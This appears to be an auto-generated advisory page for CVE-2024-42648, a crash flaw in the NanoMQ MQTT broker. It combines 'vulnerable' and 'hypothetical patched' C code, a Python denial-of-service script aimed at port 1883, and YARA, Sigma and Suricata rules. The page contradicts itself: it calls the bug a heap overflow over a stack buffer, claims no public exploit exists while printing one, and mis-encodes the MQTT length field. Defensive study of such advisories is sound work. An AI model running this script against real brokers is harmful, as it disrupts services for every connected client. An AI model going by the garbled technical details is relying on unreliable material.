CVE-2024-42648
Executive Summary
CVE-2024-42648 is a heap overflow vulnerability discovered in NanoMQ v0.22.10, an open-source MQTT broker. The flaw is triggered by a crafted CONNECT message, leading to a Denial of Service (DoS) condition. The vulnerability resides in the message parsing logic, where insufficient bounds checking on the CONNECT packet payload allows an attacker to overflow a heap buffer. This can crash the broker, disrupting MQTT services for all connected clients. No patch is currently available, and no public exploit code has been released. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the risk remains for unpatched deployments.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
NanoMQ is distributed as a standalone binary and via package managers (e.g., Homebrew, Docker). The vulnerability affects the core broker binary. Organizations using NanoMQ in their MQTT infrastructure should treat this as a high-severity supply chain risk, as a successful DoS can disrupt IoT, telemetry, and messaging pipelines.
CVSS Breakdown & Threat Level
- CVSS Score: 0.0 (No official vector assigned)
- Attack Vector (AV): Network (likely)
- Attack Complexity (AC): Low (likely)
- Privileges Required (PR): None (likely)
- User Interaction (UI): None (likely)
- Scope (S): Unchanged (likely)
- Confidentiality (C): None (likely)
- Integrity (I): None (likely)
- Availability (A): High (likely)
Threat Level: Medium (due to DoS impact, but no public exploit or patch)
Deep Dive & Mechanics
The vulnerability is a classic heap-based buffer overflow in the CONNECT message handler of NanoMQ. The MQTT CONNECT packet contains a variable-length payload, including a client ID, username, password, and will message. The flaw occurs when the broker allocates a heap buffer based on a fixed size assumption, but the actual payload exceeds that size. An attacker can craft a CONNECT packet with an oversized client ID or will topic, causing the broker to write beyond the allocated heap buffer. This corrupts adjacent heap metadata, leading to a crash (DoS). The overflow does not appear to be exploitable for code execution due to heap protections (e.g., ASLR, NX), but it reliably crashes the broker.
Root Cause: Insufficient validation of the CONNECT packet payload length before copying into a fixed-size heap buffer.
Vulnerable vs. Patched Code
Vulnerable Code (v0.22.10):
// Simplified vulnerable snippet
void handle_connect(nng_msg *msg) {
uint8_t *payload = nng_msg_body(msg);
uint32_t payload_len = nng_msg_len(msg);
char client_id[256]; // Fixed stack buffer
// No length check before copy
memcpy(client_id, payload + 2, payload_len - 2); // Heap overflow if payload_len > 258
}
Patched Code (Hypothetical):
void handle_connect(nng_msg *msg) {
uint8_t *payload = nng_msg_body(msg);
uint32_t payload_len = nng_msg_len(msg);
if (payload_len > 256 + 2) {
// Reject oversized CONNECT
nng_msg_free(msg);
return;
}
char client_id[256];
memcpy(client_id, payload + 2, payload_len - 2);
}
Exploitation & Lab Setup
Red Team (Attack Simulation)
- Setup: Deploy NanoMQ v0.22.10 on a Linux VM (e.g., Ubuntu 22.04) with default configuration.
- Craft Exploit: Use a Python script to send a malicious CONNECT packet with an oversized client ID.
- Execute:
import socket import struct def build_malicious_connect(): # MQTT CONNECT packet with oversized client ID packet = b'\x10' # CONNECT type remaining_length = 0xFFFF # Large remaining length packet += struct.pack('!H', remaining_length) # Protocol name, version, flags, keepalive packet += b'\x00\x04MQTT\x04\x02\x00\x3c' # Client ID (oversized) packet += b'\xff\xff' + b'A' * 0x1000 # 4096 bytes return packet sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect(('target_ip', 1883)) sock.send(build_malicious_connect()) sock.close() - Result: The broker crashes immediately, causing a DoS.
Blue Team (Defense & Detection)
- Monitor: Watch for unusually large CONNECT packets (e.g., > 1024 bytes).
- Harden: Deploy NanoMQ behind a reverse proxy (e.g., HAProxy) that validates MQTT packet sizes.
- Rate Limit: Implement connection rate limiting to slow down repeated attacks.
- Update: Monitor the NanoMQ GitHub for patches and apply immediately.
Indicators of Compromise (IOCs)
- Network: MQTT CONNECT packets with a remaining length field > 256 bytes.
- Logs: Broker crash logs containing "heap overflow" or "segmentation fault" in the NanoMQ process.
- Process: Abrupt termination of the
nanomqprocess. - File: Core dump files (if enabled) in
/var/crash/or/tmp/.
Detection Engineering
YARA Rule
rule CVE_2024_42648_NanoMQ_HeapOverflow {
meta:
description = "Detects malicious MQTT CONNECT packets targeting CVE-2024-42648"
author = "Valters IT"
date = "2025-04-10"
hash = "unknown"
strings:
$mqtt_connect = { 10 ?? ?? 00 04 4D 51 54 54 04 } // CONNECT with MQTT protocol
$large_length = { FF FF } // Remaining length > 65535
condition:
$mqtt_connect and $large_length
}
Sigma Rule
title: CVE-2024-42648 NanoMQ Heap Overflow Detection
id: 8a9b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects oversized MQTT CONNECT packets targeting NanoMQ
author: Valters IT
date: 2025-04-10
logsource:
category: network
product: mqtt
detection:
selection:
packet_type: 'CONNECT'
remaining_length|gte: 65535
condition: selection
falsepositives:
- Legitimate large client IDs (rare)
level: high
Suricata Rule
alert tcp any any -> any 1883 (msg:"CVE-2024-42648 NanoMQ Heap Overflow Attempt"; flow:to_server,established; content:"|10|"; depth:1; content:"|00 04 4D 51 54 54 04|"; distance:1; within:7; content:"|FF FF|"; distance:2; within:2; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate: Disable or restrict access to NanoMQ MQTT port (1883) from untrusted networks.
- Short-term: Deploy a WAF or reverse proxy that validates MQTT packet sizes before forwarding to the broker.
- Long-term: Apply the official patch once released by the vendor. Monitor the NanoMQ GitHub repository for updates.
- Alternative: Migrate to a patched MQTT broker (e.g., Mosquitto, EMQX) if NanoMQ is critical.
Valters IT
DevSecOps & Cyber Threat Intelligence
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.